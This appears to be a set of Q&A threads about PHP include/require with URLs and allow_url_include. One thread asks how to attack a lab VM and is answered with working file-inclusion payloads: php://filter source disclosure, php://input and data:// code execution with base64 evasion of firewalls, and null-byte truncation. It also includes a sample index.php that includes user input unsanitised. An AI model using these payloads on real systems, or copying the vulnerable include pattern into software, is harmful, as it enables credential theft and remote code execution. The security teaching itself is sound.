Note; The problem is not in require or include.( it's in variables) while requiring or including from URl
I am facing an strange error as following:
require_once "http://".$_SERVER['HTTP_HOST'].'/engine/header.php';
This is causing errors with variables
Undefined Variables
While this :
require_once '/engine/header.php';
Doesn't cause any problem!
Sorry if have misspelled anything or written not understandable words.
You can only include URLs if URL include wrappers are enabled, so check if allow_url_include is set to true in your php config.
Your answer is located here.
If "URL include wrappers" are enabled in PHP, you can specify the file to be included using a URL (via HTTP or other supported wrapper - see Supported Protocols and Wrappers for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using a URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.
This means if you include a URL, it will be an independent PHP execution outside of your current scope. You would need to pass the variables via the $_GET superglobal.
If the include/require is absolute/relative file paths, you would be able to access the variables via that scope.
When you access a .php file through the webserver, the webserver executes the file, and the response that's sent to the client is the output of the script, not the script's source code. But require expects to read PHP source code from the file, so it can execute it in the context of the current script.
So unless header.php takes special measures to output PHP source code when it's being accessed remotely, trying to require it using a URI is not going to work correctly.
Related
I'm trying to include a file with an absolute url:
<?
session_start();
$_SESSION['sr_path'] = 'http://domain.org/www/myapp';
include($_SESSION['sr_path'].'/assets/contact.php');
?>
But it don't work.
Any idea why please ?
you include your files by directories not url:
include(dirname(__FILE__).'/assets/contact.php');
or
include(dirname(__FILE__).'/contact.php');
where dirname(__FILE__) get the path of your current file you write this code in it.
or for all case you can define constant in your website index.php page, and use this const anywhere:
define('ROOT', dirname(__FILE__));
then use it in any dir like this:
include(dirname(__FILE__).'/same_index_file_path/contact.php');
You are currently attempting to include a file by a URL not by the path on the server. By default you cannot use the 'HTTP' wrapper or you'll get this warning (or similar):
http:// wrapper is disabled in the server configuration by allow_url_include=0
Whilst you can include files by URL, it is generally preferred to include with a path on your server.
If you did want to go ahead with your current method and include something which is stored on a different server to the one the script is running on, you'll need to update your configuration by setting 'allow_url_include' to 1.
The PHP Docs for include specify:
If "URL include wrappers" are enabled in PHP, you can specify the file to be included using a URL (via HTTP or other supported wrapper - see Supported Protocols and Wrappers for a list of protocols) instead of a local pathname.
It's worth noting, however, that if you use HTTP you could be relying on a remote server to process the PHP script for you and return it to your script. As the docs state:
Remote file may be processed at the remote server (depending on the file extension and the fact if the remote server runs PHP or not) but it still has to produce a valid PHP script because it will be processed at the local server.
It goes onto clarify:
...the script is actually being run on the remote server and the result is then being included into the local script.
TL;DR
I would guess what you actually want to do, assuming the script you are attempting to include is on the same server as the script that is doing the including, is to just give the path to it on your server such as:
/var/www/myapp/assets/contact.php
which would look like this:
include('/var/www/myapp/assets/contact.php');
instead of this:
include('http://example.com/myapp/assets/contact.php');
I'm trying to exploit some web vulnerabilities in a sample website running inside a VM (it is not available on the web - only for educational purposes). I have a php file named setupreset.php which has the information about MySQL configs, setup and passwords used to setup the website. This is in the same directory as the rest of the php files (index, products, forum, etc...).
This is the code of index.php, for reference:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
The main goal is to list the contents of the setupreset PHP file, or download it somehow. If I navigate to this file: http://10.211.55.5/index.php?page=setupreset, it gets executed, but the PHP code is naturally not shown, due to the fact that it is parsed by the PHP interpreter.
Now, the website uses PHP includes, so URLs look like this: http://10.211.55.5/index.php?page=products. This seems like it's vulnerable to remote file inclusion, where I could simply point to another PHP page, e.g. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php but allow_url_include is off and cannot be changed, so this won't work (I tried this). However, allow_url_fopen is likely on (since it's on by default), so my question is the following: is it possible to upload a PHP file or some script that lists the content of setupreset.php using this kind of exploit?
If allow_url_include is off, you can't execute remote code. But you can find other pages, for example a content management dashboard, to upload your code as "image", then find the actual path and include it.
And, there are still ways to exploit.
Let's look inside your code. You may notice that it automatically add an extension .php at the end of path. So you should remove php in GET param. But what if the file you want to include does not have PHP extension? Then use %00 to terminate string, such as
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
There's a special protocol in PHP, powerful and dangerous. It's php://.
You can check out the offcial manual for detailed information, and here I'll show you some cases to make a file inclusion vulnerability become source disclosure and even remote code execution vulnerabilities.
Before your test, I suggest you use Firefox with HackBar plugin. It's a powerful penetration testing suite.
Source disclosure
This feature doesn't need url inclusion allowed.
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read. (Reference)
Then you can see the source secret.inc.php in the same directory via following request.
http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
File content will be encoded in base64, so it does support binary file.
It's powerful to get sensitive information, such as database passwords or a encryption key! If privilege is not proper configurated, it can even jump out of cage and extract data from files in outter directories, like /etc/passwd!
Remote code execution
Actually you can't exploit this way, because allow_url_include is Off in this case.
But I must point it out because it's magical!
It's completly different from local include. It doesn't need to upload any file to a remote server or so. All you need is one single request.
php://input can access the raw HTTP request body, so what does include("php://input") do? Just visit http://localhost/include.php?page=php://input, with valid PHP code in request body, then you can execute any (allowed) function in remote server!
Don't forget the %00 to drop .php tail.
Besides, PHP supports data:// URL scheme. You can directly put code in GET param! The following test doesn't need any special tool, just a normal browser can execute an attack.
http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
Some Web Application Firewalls may detect suspected string in URL and block evil request, they won't leave the phpinfo alone. Is there a way to encrypt? Of course. data:// URL supports at least base64 encoding...
http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
And you will get familiar phpinfo once again!
Note
The null byte trick (%00) does not work anymore for PHP >= 5.3.4: http://blog.benjaminwalters.net/?p=22139
Use a directory traversal and end your input string with a %00 NUL meta character (as mentioned on wikipedia).
http://example.com/index.php?page=setuppreset%00
This will remove the ".php" suffix from the inclusion and might help you somehow.
It is not. The php file is getting executed because you call include, if you called readfile, file_get_contents or similar you could see the contents of the php file.
I have a PHP script called constants.php, in there I have a lot of valuable data, like my MySQL information, etc.
Is it possible to access that script outside my machine? Lets say, using the following: include http://www.fakewebsite.com/config/constants.php
Well, yes and no.
Yes: They will be able to access the output of the file constants.php (however most likely it will be blank).
No: They won't be able to access your variables. You can only access these before PHP has been parsed.
Let's read the docs:
If "URL fopen wrappers" are enabled in PHP (which they are in the
default configuration), you can specify the file to be included using
a URL (via HTTP or other supported wrapper - see Supported Protocols
and Wrappers for a list of protocols) instead of a local pathname. If
the target server interprets the target file as PHP code, variables
may be passed to the included file using a URL request string as used
with HTTP GET. This is not strictly speaking the same thing as
including the file and having it inherit the parent file's variable
scope; the script is actually being run on the remote server and the
result is then being included into the local script.
So you can actually load external files (if your admin allows you to). However, is it going to be useful in your case? Open http://www.fakewebsite.com/config/constants.php in your web browser and open the "View Source" menu. Whatever you see there, it's what your PHP script will see (most likely, a blank page).
Last but not least... Supposing that the remote server is configured to not execute *.php files or contains a PHP script that generates PHP code, why would you want to post all that valuable and sensitive data to the Internet?
If the URL is publically accessible, then yes, anyone can read it from the URL, including scripts.
However the key part here is that they will access the output of constants.php, not the file itself. They'll get exactly the same output as you would if you accessed the file from a web browser.
What they cannot do is include your actual PHP code by calling the URL. The URL is not a direct connection to the PHP file; it's a connection to the web server. The web server then processes the PHP file and provides the output. As long as the web server is processing the PHP file before sending the output, then your PHP code is safe. It can't be seen via the URL.
There may be other ways of getting at it, but not that way.
Yes, so long as you have access to the script, you can include it within your own scripts.
I need to include to my php script external php code which is situated for example by link http://site.com/code.php How could I do it? I tryed all ways which I found in internet but no one works. All methods are good to include text but not php script.
You can only include the code if it is served as text: otherwise everyone would be able to see / use your code.
So the options you have:
Get the file trough ftp and include it with include or require
Get the file in plaintext, by serving .php files on "site.com" as text. This is ofcourse not a good idea, as everyone could see your source from there.
Put the file on the same server as the script that wants to include it.
If you need just the file to be 'run', you can curl it. You won't get the source (cannot use its functions etc) but any actions it performs (make file? add something to the database) will be run.
It is not possible, unless you can get the source code to it (aka. its published somewhere or it is on a file system you can access).
According to the PHP documentation (http://php.net/manual/en/features.remote-files.php) "As long as allow_url_fopen is enabled in php.ini, you can use HTTP and FTP URLs with most of the functions that take a filename as a parameter. In addition, URLs can be used with the include(), include_once(), require() and require_once() statements (since PHP 5.2.0, allow_url_include must be enabled for these)."
Is it possible to call a PHP function found in a file on another website with a different domain?
For example, I know that to call a PHP function from another file in the same domain (say function aaa() found in aaa.php) I just have to simply do this (with a few simplifying assumptions):
include_once('aaa.php');
aaa();
I have tried doing something similar, such as:
include_once('http://othersite/aaa.php');
aaa();
I cannot get this to work (the page seems to load fine, with no error messages, but the function does not execute). I have tried require(), which gives me a blank screen. I have had no success with fopen either.
If it is possible to do this, how can I do it?
The include and require (and their _once variants) take a local filesystem path as their parameter. Domains have nothing to do with it.
Yes, you can also put an URL there (if you have the fopen wrappers enabled), but then PHP will just download the file and try to execute it. In other words, for this to work, if you entered http://othersite/aaa.php in your browser, it should show the PHP source, not the results of processing it.
When passing an URL to include \ require, PHP cannot do anything more than your browser. It's at the mercy of the webserver at othersite. If it doesn't return PHP code, there is no way that PHP can get to it.
What you are currently doing is getting the remote server to execute the PHP file and then you're reading the parsed contents -- the same as a browser would. So you get (presumably) HTML, not PHP code.
If the remote code does not need to be kept private for any reason (e.g. security) you can get the remote server to serve you the PHP source code. The easiest way to do that is to rename the file as aaa.txt, so it will not be passed to the PHP interpreter.
You can only do this if the other server is set to serve the PHP files as source -- i.e., without executing them.